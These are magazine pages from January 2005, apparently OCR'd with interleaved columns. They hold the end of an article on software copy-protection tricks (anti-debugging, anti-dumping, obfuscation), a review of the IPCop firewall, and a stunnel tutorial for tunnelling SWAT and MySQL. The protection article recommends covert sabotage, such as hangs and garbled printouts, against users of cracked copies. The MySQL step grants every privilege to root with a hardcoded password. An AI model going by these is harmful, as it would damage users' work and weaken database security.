храняйте количество запусков в обрабатываемых програм- полагайте весь код расшифровщика в конце модуля – тог-
мой документах (естественно, в нетривиальном формате, да переход на оригинальную точку входа может быть рас-
который непросто подправить вручную). Противостоять это- познан по скачкообразному изменению регистра EIP. Кста-
му очень трудно! ти, стартовый код, внедряемый компиляторами в програм-
Вообще лучшая защита демонстрационных версий – фи- му, в большинстве случаев начинается с обращения к FS:[0]
зическое усечение функциональности с удалением про- (регистрация собственного обработчика исключений) – по-
граммного кода, отвечающего, например, за печать или со- чаще обращайтесь к этой ячейке из расшифровщика, не
хранение файла. позволяя хакеру быстро определить момент завершения
расшифровки (вызовы должны следовать из разных мест,
Защита от реконструкции алгоритма иначе хакер просто наложит фильтр, благо современные
Чтобы хакер не смог реконструировать алгоритм защитно- отладчики это позволяют).
го механизма и слегка «доработать» его напильником (или Обязательно привязывайтесь к начальному значению
же попросту «подсмотреть» правильный пароль), обязатель- глобальных инициализированных переменных, т. е. посту-
но используйте многослойную динамическую шифровку по пайте так:
s/n или u/r. Тогда без s/n, u/r взлом программы станет не-
возможным. Не проверяйте CRC s/n! Чтобы убедиться в пра- FILE *f = 0; main(){if (!f) f = fopen(,,)…}
вильности ввода s/n, проверяйте CRC расшифрованного
кода (восстановить исходный s/n по его CRC на достаточ- тогда дамп, снятый вне оригинальной точки входа, окажет-
ных аппаратных мощностях вполне возможно, но CRC рас- ся неработоспособным. Дизассемблируете стандартный
шифрованного кода криптоаналитику вообще ни о чем не «Блокнот» – он именно так и устроен.

№1, январь 2005 39


безопасность
Защита от модификации на диске и в памяти ство («ее» – потому, что Ида женское имя): множественные
Модификацию кода предотвращает проверка целостности, префиксы, искажение заголовка PE-файла и т. д., однако
причем следует проверять как целостность самого файла, смысла в них немного, и многослойной шифровки на пару с
так и целостность дампа в памяти (хакер может модифици- мусорным кодом для ослепления дизассемблера вполне до-
ровать программу на лету, или даже ничего не модифици- статочно (правда, опытные хакеры могут написать плагин,
ровать, а на время перехватить управление и проэмулиро- автоматизирующий расшифровку и вычищающий мусорный
вать несколько следующих команд, или же просто изменить код, но таких единицы, и вы можете гордиться, что ломались
значение регистра EAX после выполнения команды типа у них). Кстати говоря, активное использование виртуальных
TEST EAX, EAX или подобной ей). функций в С++ существенно затрудняет дизассемблирова-
Перехвату управления/эмуляции противостоять практи- ние программы, поскольку для определения эффективных
чески невозможно, а вот предотвратить модификацию лег- адресов приходится выполнять громоздкие вычисления или
ко – используйте несистематические коды Рида-Соломона «подсматривать» их в отладчике (но про борьбу с отладчи-
(см. [6]). Чтобы взломать программу, хакеру потребуется не ками мы еще поговорим). Только помните, что оптимизиру-
только разобраться, какие именно байты следует подправить ющие компиляторы при первой возможности превратят вир-
для взлома программы, но и рассчитать новые коды Рида- туальные функции в статические.
Соломона, а для этого ему придется написать собственный
кодировщик, что не так-то просто (несистематическое коди- Антиотладка
рование изменяет все кодируемые байты, в отличие от сис- Еще ни одному из отладчиков не удалось полностью скрыть
тематического кодирования, где к программе просто допи- свое присутствие от отлаживаемой программы, и потому
сывается «контрольная сумма», проверка которой может он может быть обнаружен. Чаще всего используется ска-
быть легко «отломана»). Опять-таки это актуально только нирование реестра и файловой системы на предмет нали-
для многослойной динамической шифровки, в противном чия популярных отладчиков, проверка флага трассировки,
случае хакер просто дождется завершения декодирования чтение содержимого отладочных регистров/IDT, замер вре-
кодов Рида-Соломона и снимет беззащитный дамп. мени выполнения между соседними командами и т. д. (если
Как вариант используйте несимметричные криптоалго- хотите узнать больше, наберите «anti-debug» в Google). Од-
ритмы. Это предотвратит модификацию файла на диске (но нако запрещать пользователю иметь отладчик категоричес-
не в памяти!), и, что еще хуже, зашифровка функции по ки недопустимо – защита должна реагировать лишь на ак-
выходу из нее оказывается невозможной (мы ведь не хо- тивную отладку. К тому же все эти проверки элементарно
тим сообщать хакеру секретный ключ?), а значит, код про- обнаруживаются и удаляются. Надежнее трассировать са-
граммы рискует в какой-то момент оказаться расшифро- мого себя, подцепив на трассировщик процедуру расшиф-
ванным целиком. Чтобы этого не произошло, расшифро- ровки или генерировать большое количество исключитель-
вывайте код функции во временный буфер (общий для всех ных ситуаций, повесив на SEH-обработчики процедуры, де-
функций), не трогая оригинал. лающие что-то полезное. Попутно: оставьте в покое soft-
Проверяя целостность кода, не забывайте о перемещае- ice – в хакерском арсенале есть и альтернативные отлад-
мых элементах. Если программа/динамическая библиотека чики.
будет загружена по адресу, отличному от указанного в PE- Эмулирующим отладчикам противостоять труднее, но
заголовке, системный загрузчик автоматически скорректи- ничего невозможного нет. Используйте MMX-команды, срав-
рует все ссылки на абсолютные адреса. Либо избавьтесь от нивая время их выполнения со временем выполнения «нор-
перемещаемых элементов (ключ /FIXED линкера MS Link), мальных» команд. На живом процессоре MMX-команды
либо, что лучше, проверяйте только ячейки, не упомянутые работают быстрее. Отладчики же либо вообще не эмули-
в relocation table. руют MMX-команд, либо обрабатывают их медленнее нор-
Никогда не блокируйте некоторые пункты меню/кнопки мальных команд.
для ограничения функциональности демонстрационной вер-
сии – их не разблокирует только ленивый! Лучше физичес- Антимонитор
ки вырезайте соответствующий код или на худой конец вре- Мониторы – очень мощное хакерское средство, показыва-
мя от времени проверяйте состояние заблокированных эле- ющее, к каким файлам и ключам реестра обращалась за-
ментов управления, т.к. они могут быть разблокированы не щищенная программа. Активному мониторингу в принципе
только в ресурсах, но и динамически – отправкой сообще- можно и противостоять, но лучше этого не делать, ведь су-
ния окну. ществует и пассивный мониторинг (снятие слепка с реест-
ра/файловой системы и сравнение его до и после запуска
От кого защищаться программы), а против него не пойдешь.
Арсенал современных хакеров состоит преимущественно Не храните регистрационную информацию в явном виде.
из: дизассемблера, отладчика, дампера памяти и монито- Забудьте о флагах регистрации! Вместо этого размазывай-
ра обращений к файлам/реестру. Это очень мощные сред- те ключевые данные маленькими кусочками по всему фай-
ства взлома, но с ними все-таки можно справиться. лу, считывайте их в случайное время из случайных мест
программы, расшифровывая очередной кусок кода.
Антидизассемблер Вместо fopen/fseek/fread используйте файлы, проециру-
Дизассемблер – в девяти из десяти случаев это IDA Pro. Су- емые в память, они намного сложнее поддаются монито-
ществует множество приемов, приводящих ее в замешатель- рингу, но это уже тема отдельного разговора.

40
безопасность
Антидамп Ни в коем случае не храните «ругательные» строки от-
Дамперам противостоять проще простого. Их много раз- крытым текстом и не вызывайте их по указателю – хакер
ных, но нет ни одного по-настоящему хорошего. Затирайте мгновенно найдет защитный код по перекрестным ссылкам.
PE-заголовок в памяти (но тогда не будут работать функ- Лучше так: берем указатель на строку, увеличиваем его на
ции типа LoadResource) или по крайней мере его часть (о N байт. Сохраняем указатель в программе, а перед исполь-
том, какие поля можно затирать, читайте в [7]). Выключай- зованием вычитаем N на лету (при этом вам придется сра-
те временно неиспользуемые страницы функцией Virtual жаться с коварством оптимизирующих компиляторов, но-
Protect(.,PAGE_NOACCES,), а перед использованием вклю- ровящих вычесть N еще на стадии компиляции).
чайте их вновь. Впрочем, хакер может уронить NT в «синий Избегайте прямого вызова API-функций. Наверняка ха-
экран», получив образ подопытного процесса в свое рас- кер поставит на них точку останова. Используйте более
поряжение. Однако при использовании динамической мно- прогрессивные методики – копирование API-функций в свое
гослойной шифровки толку от этого образа будет немного. тело, вызов не с первой машинной команды, распознание
и дезактивация точек останова (подробности в «Записках
Как защищаться мыщъх’а». Солон-Р, 2004 г.).
Никогда не давайте хакеру явно понять, что программа Разбросайте защитный механизм по нескольким пото-
взломана! Тогда ему остается найти код, выводящий ру- кам. Отладчики не выполняют переключение контекста, и
гательное сообщение (а сделать это очень легко) и по- остальные потоки просто не получат управление. Кроме
смотреть, кто его вызвал – вот сердце защитного меха- того, очень трудно разобраться в защитном механизме, ис-
низма и локализовано. Используйте несколько уровней полняющимся сразу в нескольких местах.
защиты. Первый – защита от ввода неправильного s/n и Создайте несколько подложных функций, дав им осмыс-
непредумышленного нарушения целостности программы ленные имена типа CheckRegisters, – пусть хакер тратит
(вирусы, дисковые сбои и т. д.). Второй – защита от хаке- время на их изучение!
ров. Обнаружив факт взлома, первый уровень «ругается»
явно, и хакер быстро его нейтрализует, после чего в игру Заключение
вступает второй, время от времени вызывающий зависа- Можно уметь ломать программы, не умея их защищать, а
ния программы, делающий из чисел «винегрет», подме- вот обратное утверждение неверно. Это не вопрос морали,
няющий слова при выводе документа на принтер и т. д. это вопрос профессиональных навыков (закон разрешает
При грамотной реализации защиты нейтрализация второго «взлом», если он не влечет за собой прочих нарушений
уровня потребует полного анализа всей программы. Да авторских и патентных прав). Теория – это хорошо, но в
за это время можно десять таких программ написать! Вто- машинных кодах все не так, как на бумаге, и большое ко-
рой уровень никогда не срабатывает у честных пользова- личество взломов свидетельствует отнюдь не о всемогу-
телей, а только у тех, кто купит «крак». Если же вы бои- ществе хакеров, а о катастрофической ущербности защит-
тесь, что второй уровень случайно сработает в результа- ных механизмов, многие из которых ломаются за считан-
те ошибки, лучше вообще не беритесь за программиро- ные минуты!
вание, это не для вас. Личное наблюдение – за последние несколько лет ка-
Не показывайте хакеру, каким путем регистрируется чество защит ничуть не возросло. Причем если раньше
защита. Это может быть и ключевой файл, и определенная творчески настроенные программисты активно эксперимен-
комбинация клавиш, и параметр командной строки. Ни в тировали со своими идеями, то сейчас все больше склоня-
коем случае не считываете s/n или u/r через WM_GETTEXT/ ются к готовым решениям. Хотелось бы, чтобы эта статья
GetWindowText, вместо этого обрабатывайте нажатия оди- послужила своеобразным катализатором и подтолкнула вас
ночных клавиш (WM_CHAR, WM_KEYUP/WM_KEYDOWN), к исследованиям.
прямо из основного потока ввода данных, и тут же их шиф-
руйте. Смысл шифровки в том, чтобы вводимая пользова- Литература:
телем строка нигде не присутствовала в памяти в явном 1. Мешков В. Пакетные команды интерфейса ATAPI. – Жур-
виде (тогда хакер просто поставит на нее точку останова, и нал «Системный администратор», №9, сентябрь 2004 г.
могучий soft-ice перенесет его прямо в самый центр защит- 2. Касперски К. Техника защиты CD. БХВ-Петербург, 2004 г.
ного механизма). Интеграция с основным потоком ввода 3. Касперски К. Искажение TOC как средство борьбы с
предотвращает быстрый взлом программы. Точка остано- несанкционированным копированием диска. – Журнал
ва на WM_XXX ничего не дает, поскольку не позволяет «Системный администратор», №9, сентябрь 2003 г.
быстро отличить обычные вводимые данные от s/n. 4. Касперски К. Побег через брандмауэр плюс терминали-
Возьмите на вооружение генератор случайных чисел – зация всей NT. – Журнал «Системный администратор»,
пусть проверки идут с разной периодичностью из различ- №5, май 2004 г.
ных частей программы (использовать общие функции при 5. Касперски К. Техника и философия хакерских атак. Со-
этом недопустимо – перекрестные ссылки и регулярный лон-Р, 2005 г.
поиск выдадут вас с головой!). Не используйте функцию 6. Касперски К. Коды Рида-Соломона в практических реали-
rand() – вместо этого отталкивайтесь от вводимых данных, зациях, или информация, воскресшая из пепла III. – Жур-
преобразуя в псевдослучайную последовательность задер- нал «Системный администратор», №11, октябрь 2003 г.
жки между нажатиями клавиш, коды вводимых символов, 7. Касперски К. Путь воина – внедрение в pe/coff-файлы. –
последовательность открытий меню и т. д. Журнал «Системный администратор», №6, июнь 2004 г.

№1, январь 2005 41


безопасность

СЕТЕВОЙ ПОЛИЦЕЙСКИЙ
The bad packets stop here!

СЕРГЕЙ ЯРЕМЧУК
В необходимости защиты компьютеров в сети сегодня убеж- ! организовать виртуальную частную сеть (Virtual private
дать, наверное, никого уже не надо. Вопрос обычно состо- network – VPN), которая позволяет безопасно соединять
ит в выборе того или иного инструмента для этих целей. сети через Интернет;
Для организации брандмауэра в небольших и средних фир- ! назначать компьютерам IP-адреса посредством DHCP;
мах редко покупают отдельное устройство. Для таких фирм ! синхронизировать время, используя NTP;
фактор цены обычно стоит на первом месте, и поэтому они ! кэшировать веб-страницы и данные службы DNS;
стараются по возможности использовать б/у компьютеры, ! выдавать информацию об использовании системных ре-
которые обычно имеются не в единственном числе. Об од- сурсов.
ном из удобных дистрибутивов, который можно использо-
вать на таком оборудовании, и пойдет речь в статье. Дополнительно ко всему удобно и просто конфигуриро-
IPCop (http://www.ipcop.org) представляет собой базиру- вать систему посредством веб-интерфейса. Для работы до-
ющуюся на GNU/Linux систему, которая может быть исполь- статочно компьютера с процессором 386 с 32 Мб ОЗУ и
зована для построения брандмауэра как в небольших домаш- 300 Мб жесткого диска. Это, естественно, минимальные тре-
них сетях, так и в сетях предприятий. Это его основное на- бования. При организации кэширования веб-страниц и ре-
значение. Но кроме организации межсетевого экрана, инст- гистрации сетевых событий, а также в больших сетях тре-
рументы, входящие в IPCop, позволяют: бования к оборудованию возрастают.
! регулировать входящий и исходящий трафик; Для инсталляции потребуются клавиатура и монитор (для
! наблюдать за событиями, происходящими в сети; удобства и мышь), после чего их можно отключить. Гибкий
! предупреждать о нападении; диск на компьютере не требуется, но будет полезен при ко-

42
безопасность
пировании настроек и обновлении системы. Забегая впе- ! Green – безопасная внутренняя сеть.
ред, скажу, что имеется скрипт http://www.timbutterfield.com/ ! Orange – DMZ (De-Militarized Zone) для серверов, кото-
computer/ipcop/backup, позволяющий производить эту опе- рые должны быть доступны из Интернета.
рацию через сеть. Можно обойтись даже без CD-ROM и ус- ! Blue – беспроводная полудоверенная сеть (до версии 1.3.0
тановить дистрибутив, используя http. IPCop может быть ус- wireless-сети выводились либо в Green-, либо в Orange-
тановлен и на Compact Flash, в руководстве по установке зоны).
есть упоминания по этому поводу. Ядром поддерживаются
некоторые PCMCIA-, SCSI- и USB-устройства, список про- Процесс установки происходит в графической среде с
тестированого оборудования можно найти в «IPCop понятными подсказками и минимальным участием пользо-
Hardware Compatibility List». Кроме того, начиная с версии вателя. Единственное, что в списке из более 20 языков, дос-
1.4.0, кроме Intel-архитектуры, поддерживаются и Аlpha-про- тупных при установке, нет русского, может, это кому-то по-
цессоры. Помимо основного сайта дополнительную инфор- кажется неудобным, уже после установки можно выбрать рус-
мацию об IPCop можно получить и на других сайтах – http:// ский. А так выбираем источник установки, далее программа
www.ipcops.net, http://sourceforge.net/projects/ipcop. предупреждает об уничтожении данных на жестком диске,
после чего создаются разделы с файловой системой, копи-
Установка IPCop руются данные, и если есть сохраненная на дискете конфи-
Несмотря на такие большие возможности, дистрибутив по- гурация, то можно восстановить настройки. Следующим
лучился довольно компактным, чуть меньше 40 Мб. Перед шагом настраиваются сетевая «Green-карта», клавиатурная
установкой разработчики настоятельно рекомендуют почи- раскладка, часовой пояс, имя компьютера в сети, парамет-
тать инструкцию по установке, которую можно найти как ры ISDN, использование DHCP на Green-интерфейсе, вид
на сайте проекта, так и в установочном iso-образе, полу- сетевой конфигурации (например, green + orange + red) и
ченном с сайта. Весь процесс не должен занять больше настраиваются остальные сетевые устройства, устанавли-
10-15 минут времени. Но главное, помните, что все данные ваются пароли для пользователей root и admin, после чего
на используемом жестком диске будут уничтожены, т.к. про- система перезагружается. Теперь все дальнейшие настрой-
грамма установки автоматически создает разделы. Для ки производятся, используя SSH (в версии 1.4.1 вместо 22
удобства работы предусмотрено использование четырех порта почему-то используется 222) или через веб-интерфейс.
сетевых устройств: Для удобства администрирования системы при помощи
! Red – опасное интернет-соединение. командной строки предусмотрена программа /usr/local/sbin/

№1, январь 2005 43


безопасность
setup, которая поможет малоопытному пользователю не за- и «Логи») с подпунктами в каждой. Так, в меню «Система»
путаться в неизвестных командах. Запустив ее, при помо- можно скачать обновления нажатием одной кнопки, изме-
щи меню можно выполнить большую часть необходимых нить пароли, настроить доступ по SSH, сохранить настрой-
операций: изменить раскладку клавиатуры, имя узла и до- ки на дискету, выключить маршрутизатор и ознакомиться
мена, пароли пользователей, сетевые настройки. Если в ва- с создателями. В меню «Состояние» – получить данные и
шем распоряжении только компьютеры под управлением графики о работе системы (запущенные сервисы и загру-
Windows, в составе которых нет необходимых утилит для женные модули, состояние памяти и заполнение дисковых
удаленного доступа по SSH, в таком случае можно восполь- разделов и пр.), сети (в том числе таблицы маршрутизации
зоваться свободными утилитами вроде PuTTY (http:// и трассировка связи по IPTables). В подпунктах вкладки
www.chiark.greenend.org.uk/~sgtatham/putty) или WinSCP «Сеть» указываются параметры модемного соединения
(http://winscp.sourceforge.net/eng/). Какую из них использо- (только для RED). В меню «Службы» выбираются парамет-
вать – дело вкуса, мне больше нравится WinSCP, к тому же ры и запускаются: прокси-сервер Squid и DNS-сервера,
он доступен и в виде плагина к FAR. DHCP-сервер для Green-интерфейса, параметры предпоч-
Набрав на другом компьютере из внутренней сети в тительных Network Time Server, выставить приоритеты сер-
строке браузера: висов, включить использование NIDS Snort для тех сете-
вых интерфейсов, где хотите контролировать происходя-
http://Green _address:81/ щее. В этом же пункте можно занести данные об IP-адре-
сах и именах известных узлов в файл /etc/hosts, для того
при этом вызов будет перенаправлен на защищенное соеди- чтобы лишний раз не обращаться к DNS-серверам. Если
нение https://Green _address:445 (его также можно использо- необходимо запретить доступ к некоторым сайтам, то са-
вать). Далее регистрируемся как пользователь admin и по- мым простым решением будет занести в этот же файл при-
лучаем возможность настроить все необходимые парамет- близительно такую конструкцию, вставив нужное имя (спи-
ры посредством веб-интерфейса. Для удобства восприятия сок некоторых «ненужных» сайтов можно найти по адресу
в System – GUI Setting можно выбрать русский язык интер- http://ssmedia.com/utilities/hosts).
фейса (примечание: после этого программа /usr/local/sbin/
setup откажется работать, ссылаясь на недопустимый язык 0.0.0.0 www. Site_1.com
0.0.0.0 www. Site_2.org
системы). Пользователю доступны семь вкладок («Систе-
ма», «Состояние», «Сеть», «Службы», «Файервол», «ВЧС» Во вкладке «Файервол» всего два пункта. В одном из

44
безопасность
них выставляются параметры перенаправления портов, во # tar vxzf addons-2.2-CLI-b2.tar.gz -C /
втором задаются правила iptables для внешнего сетевого # cd /addons
# ./setup –u èëè ./setup –i
интерфейса (по умолчанию очень строгие). В «ВЧС» в удоб-
ной и понятной форме можно указать параметры VPN-со- Теперь если посмотреть на веб-браузер, то обнаружит-
единения OpenSWAN, для чего необходимо просто запол- ся еще одна вкладка – ADDONS, являющаяся менеджером
нить пункты, указав IP-адреса, вид соединения (Host-to-Net, установленных MOD, плюс отсюда же можно закачать на
Net-to-Net) и выбрать/создать сертификат. И наконец, во IPCop необходимые MOD. Сами же MOD устанавливаются
вкладке «Логи» получить доступ к журналам приложений, аналогично серверу, после чего в соответствующих вклад-
при этом возможен просмотр событий по дням, месяцам и ках появится дополнительный подпункт. Как создать свой
экспорт. Разобраться с настройкой системы при помощи MOD, довольно подробно описано в документе «How to write
вышеуказанных меню, думаю, особого труда не составит. your own MOD».
Если что, на сайте имеются подробные руководства (на ан- Из других полезных, на мой взгляд, утилит расширения
глийском языке) по администрированию IPCop и настрой- стоит обратить также внимание на linetest (http://alquanto.de/
ке VPN. goodies/linetest), который позволяет автоматически пере-
ключаться на резервное соединение в случае пропадания
Расширение возможностей IPCop основного канала. Если же просто нужно перезапустить со-
Как бы там ни было, но несмотря на довольно неплохие воз- единение, то в «IPCop Addons» приведены примеры скрип-
можности этого дистрибутива, через некоторое время адми- тов. Большое количество различных скриптов расширения,
нистратору, скорее всего, захочется их расширить. В прин- в том числе для подсчета трафика, вывода различных ди-
ципе админ с опытом работы в UNIX-системах сам способен аграмм, дополнения для squid, найдете по адресу
добавить необходимые компоненты, но IPCop ориентирован www.zpdee.net/~joecat. Для проверки входящей почты на
именно на легкость в использовании, в том числе и на нео- предмет наличия вирусов и спама используйте комплект
пытного пользователя. В расширении возможностей систе- Copfilter (http://www.madlener.tk), включающий в себя такие
мы может помочь документ «IPCop Addons» (http://ipcop.org/ приложения, как spamassassin, clamscan и пр. В общем,
cgi-bin/twiki/view/IPCop/IPCopAddons), в котором даны ссыл- можно существенно повысить функциональность системы.
ки и краткие описания всех проектов и скриптов, так или Чтобы гарантировать всестороннюю и глубокую защи-
иначе связанных с добавлением функциональности этому ди- ту, необходимо иметь сетевые и узловые решения на каж-
стрибутиву. дом устройстве. Такой подход не всегда приемлем как с
Первый проект, на который удалось выйти (Unofficial) точки зрения удобства, так и конечной стоимости такого
IPCop Firewall Addon Server (http://firewalladdons.source подхода. Дистрибутивы, подобные IPCop, представляют
forge.net/index.html), располагает рядом инструментов, по- собой более всестороннее решение этого вопроса, позво-
зволяющих существенно нарастить функциональность ляя защитить внутренние сети при помощи брандмауэра.
IPCop, в основном между Red- и Green-интерфейсами. При Расширенные возможности вроде сетевой системы обна-
этом работать с предлагаемыми расширениями под силу и ружения атак, возможности организации виртуальной час-
новичку, имеющему некоторые навыки удаленного адми- тной сети вкупе с легкостью настройки, локализацией, на-
нистрирования. Пакеты рассортированы по девяти группам дежностью решения и возможности наращивания системы
(Proxy Servers, Entertainment, VPN, Servers, Utilities, Logging, делают IPCop весьма привлекательным решением, упра-
Modems/NICS, Miscellanous, Language PAKS). Из необходи- виться с которым может и новичок в администрировании.
мого хочется отметить наличие контекстного фильтра Cop+,
построенного на основе Dansguardian с автоматической
закачкой «черных списков» (есть еще SquidGuard, но он Уважаемые читатели!
долго не обновлялся). Далее MOD BlockOutTraffic позволя-
ет блокировать исходящий трафик для Blue-интерфейса, ру- Продолжается подписка на журнал
ководствуясь прописанными IP- и MAC-адресами, а еще на I-полугодие 2005 года.
Nmap и IPTraf, без которых тяжелее организовать нормаль-
ное администрирование сети, для улучшения безопаснос- Если вы не успели подписаться
ти подойдет DSLogcheck и Tripwire. И еще много различных на все шесть выпусков следующего полугодия,
MOD, в том числе такие как редактор Joe и Midnight вы сможете приобрести недостающие номера
Commander. Все пакеты, имеющие префикс GUI в назва- через интернет-магазины
нии, будут доступны после установки через веб-интерфейс,
CLI только из консоли. При установке следует также обра-
щать внимание на версии Addon-сервера и IPCop, для ко-
торого был написан MOD, хотя, возможно, некоторые ути-
литы удастся заставить работать и с другой версией. С MOD
управляться очень просто и легко. Первым делом скачива-
ем сам Аddon-сервер, на момент написания статьи это была
версия 2.2, т.е. пакет addons-2.2-CLI-b2.tar.gz. Переносим Доставка почтой в любую точку России.
этот пакет при помощи SSH или дискетой, затем распако-
вываем и устанавливаем.

№1, январь 2005 45


безопасность

ЗАЩИТА СЕТЕВЫХ СЕРВИСОВ


С ПОМОЩЬЮ stunnel
ЧАСТЬ 2

АНДРЕЙ БЕШКОВ
В первой части статьи мы говорили о том, как защищать если для этой задачи у нас есть отлично работающий Apache
сервисы с помощью программы stunnel. SSL-шифрование и mod_ssl? Но все же не Apache единым жив администра-
данных выполняется посредством OpenSSL. Как обычно, тор. Во многих организациях используется Samba. Для об-
все, о чем шла речь, работало под управлением FreeBSD легчения жизни вместе с ней поставляется программа
4.10. Чтобы проверить, как эта конструкция будет жить на SWAT, которая позволяет управлять демонами, принтера-
пятой ветке, я перенес тестовое окружение на FreeBSD 5.3. ми, правами и учетными записями пользователей с помо-
Так что теперь мы будем работать на этой платформе. Про- щью веб-интерфейса. Беда в том, что в качестве веб-сер-
цедура установки и настройки практически ничем не отли- вера, отображающего интерфейс управления, использует-
чается от того, что было описано в первой части статьи, ся не Apache, а собственная разработка. С точки зрения
если, конечно, следовать официально рекомендованному экономии ресурсов такое решение вполне оправданно, ведь
пути и ставить все из портов. Apache даже в самом обглоданном состоянии все равно
Продолжим рассмотрение новых способов применения будет содержать в себе больше возможностей, чем нам не-
stunnel. На предложение шифровать http-трафик с помо- обходимо для выполнения задачи. На первый взгляд все
щью stunnel большинство читателей, cкорее всего, посмот- очень хорошо, но, к сожалению, реализация веб-сервера
рит на меня с некоторой долей удивления во взгляде, а кое SWAT не поддерживает никакого шифрования. А это зна-
кто, возможно, даже покрутит пальцем у виска. А ведь они чит, что пароли, имена, явки, адреса конспиративных квар-
частично правы. Зачем использовать внешнюю утилиту, тир и прочие секреты передаются по сети с помощью стан-

46
безопасность
дартного HTTP. Переносить интерфейс на Apache лениво, нужно придерживаться, приводились в предыдущей статье.
да и трудозатраты себя не оправдают, а взять на себя мис- Дальнейшая механика полностью повторяет способ номер
сию переписывать SWAT для поддержки SSL рискнет тоже один.
не каждый. Невооруженным глазом видно, что в нашем по- Третий способ выглядит оригинальнее. Вешаем stunnel
ложении применение stunnel – это как раз то, что доктор на порт 901 и при появлении входящих соединений само-
прописал. стоятельно, то есть без помощи inetd, запускаем SWAT.
Сразу после инсталляции SWAT вписываем директивы
вызова в /etc/services следующим образом: [swats]
accept = 901
exec = /usr/local/bin/swat
swat 901/tcp# Samba web configuration tool execargs = swat

Ну а в /etc/inetd.conf будет такая строка: С воплощением в жизнь этого способа могут возник-
нуть проблемы. Во-первых, потому что мы работаем от
swat stream tcp nowait/400 root ↵ имени пользователя stunnel, а значит, и SWAT будет запу-
/usr/local/sbin/swat swat
щен с такими же правами. Это можно обойти с помощью
Это значит, что SWAT принимает входящие соединения sudo. А вот вторая неувязка немного сложнее: после запус-
на порт 901. Из этой точки мы можем пойти несколькими ка сервер stunnel уходит в chroot и значит не сможет рабо-
путями. Повесить stunnel на порт 902 и соответственно на тать с файлами, находящимися за пределами /var/tmp/
нем принимать SSL-соединения. Затем расшифровывать stunnel/. Это можно будет победить переназначением chroot
данные и отдавать их на порт 901. для stunnel в директорию, где живет Samba.
Тут снова есть варианты – запускать stunnel как отдель- На этом можно завершить рассмотрение приемов об-
ный демон или из inetd. Если не стоит задача жесткой эко- ращения с stunnel, который работает в качестве одиночно-
номии ресурсов, то, по моему мнению, наилучшим реше- го демона и общается только с SSL-клиентами.
нием будет запуск stunnel в качестве самостоятельного де- Теперь хотелось бы продемонстрировать методику ра-
мона. Так будет проще и надежнее. Ну а в следующих вер- боты для случая, когда ни клиент, ни сервер не умеют ра-
сиях программы возможность запуска stunnel из-под inetd, ботать с SSL. В качестве примера будут выбраны сервер
скорее всего, будет полностью удалена, потому что ей мало MySQL, работающий под управлением FreeBSD, и стандар-
кто пользуется. тный консольный клиент MySQL под управлением Linux.
Для приема соединений на порту 901 и передачи рас- Впрочем, клиент необязательно должен быть консольным,
шифрованных данных на порт 901 нужно дописать в кон- в его качестве может выступать любая программа, умею-
фигурационный файл /usr/local/etc/stunnel/stunnel.conf вот щая дружить с сервером MySQL через сеть. Схема взаимо-
такие строки: действия будет выглядеть примерно так (см. рис. 1).
На рабочей станции MySQL-клиент общается с клиен-
[swats] том stunnel, ждушим входящих соединений на порту
accept = 902
connect = 901 127.0.0.1:3307. Stunnel-клиент шифрует полученные данные
и отдает их через сеть демону stunnel, работающему на сер-
Второй способ состоит в том, чтобы прикрепить swat к вере баз данных. Тот, в свою очередь, расшифровывает
порту 901 на локальной петле 127.0.0.1, а stunnel на порт пакеты и передает их MySQL-серверу. Обратная цепочка
901 внешних интерфейсов. Примеры методики, которой работает с точностью до наоборот.

Ðèñóíîê 1

№1, январь 2005 47


безопасность
Для простоты восприятия материала вместо создания А на сервере соответственно создаем /usr/local/etc/
нового SSL-сертификата будем использовать тот, что со- stunnel/mysql-client.conf и вписываем в него вот это:
здали в первой статье. Сетевой адрес сервера базы дан-
ных 10.10.21.29, а рабочая станция соответственно имеет cert = /usr/local/etc/stunnel/certs/mailserver.cert
key = /usr/local/etc/stunnel/certs/mailserver.key
адрес 10.10.21.75. chroot = /var/tmp/stunnel
Как я уже говорил, рабочая станция у нас функциони-
pid = /stunnel.pid
рует под ALT Linux. К сожалению, в официальном репози- setuid = stunnel
тарии пакетов Sysyphus хранится stunnel весьма просро- setgid = stunnel
ченной версии. К тому же в личной переписке человек, debug = 7
ответственный за сборку пакета, упомянул, что не плани- output = /var/log/stunnel.log
рует обновлять его в ближайшее время. Поэтому придет- [mysqls]
ся проводить самостоятельную компиляцию из исходни- accept = 10.10.21.29:3307
connect = 3306
ков. Берем пакет с официального сайта http://stunnel.org,
распаковываем, настраиваем и собираем. Всем желаю- Запускаем stunnel с обеих сторон:
щим подправить установки по умолчанию предлагается
воспользоваться ключами команды configure, благо их до- # stunnel /usr/local/etc/stunnel/mysql-client.conf
# stunnel /usr/local/etc/stunnel/mysql-server.conf
статочно много.
Не забываем с помощью:
# tar zxvf stunnel-4.05.tar.gz
# cd stunnel-4.05 netstat –na | grep LISTEN
# ./configure
# make all
# make install
проверить состояние интересующих нас портов. И обяза-
Создаем пользователя, от имени которого будет рабо- тельно заглядываем в файлы протоколов /var/log/stunnel.log,
тать stunnel. дабы убедиться в отсутствии ошибок.
На рабочей станции пытаемся соединиться с MySQL-
# adduser stunnel сервером. И, скорее всего, получаем ошибку.

И, конечно же, проверяем, что из этого вышло. # mysql -h 127.0.0.1 -P 3307 -u root -p
ERROR 1130: Host 'localhost.unreal.net' is not allowed to connect
# id stunnel to this MySQL server
uid=502(stunnel) gid=503(stunnel) groups=503(stunnel) Дело в том, что демон stunnel после расшифровки от-
Не забываем про создание директорий для временных дает данные серверу MySQL от имени сетевого интерфей-
файлов и сертификатов. Плюс к этому настраиваем права са 127.0.0.1. Соответственно, MySQL считает, что мы при-
доступа. Не хотелось бы, чтобы к столь важным сведениям соединяемся к нему с localhost. К сожалению, под FreeBSD
имел доступ кто попало. избавиться от этого никак нельзя. Для Linux выход из ситу-
ации есть, но о нем мы поговорим в следующей статье. Для
# mkdir /var/tmp/stunnel того чтобы как-то обойти эту неприятность, добавьте пользо-
# mkdir /usr/local/etc/stunnel/certs/
вателя root@localhost.unreal.net в таблицу users и не забудь-
Затем копируем с сервера в папку клиента /usr/local/etc/ те обновить текущие привилегии.
stunnel/certs/ сертификат и ключ.
# mysql
# chown stunnel:stunnel /var/tmp/stunnel ↵ > use mysq;
/usr/local/etc/stunnel/certs/ > INSERT INTO user VALUES ('localhost.unreal.net','root','Rw8304MH',
# chmod –R 700 /var/tmp/stunnel ↵ 'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','' ,'','',
/usr/local/etc/stunnel/certs/ 0,0,0);
> flush privileges;
> quit;
Создаем файл /usr/local/etc/stunnel/mysql-client.conf сле-
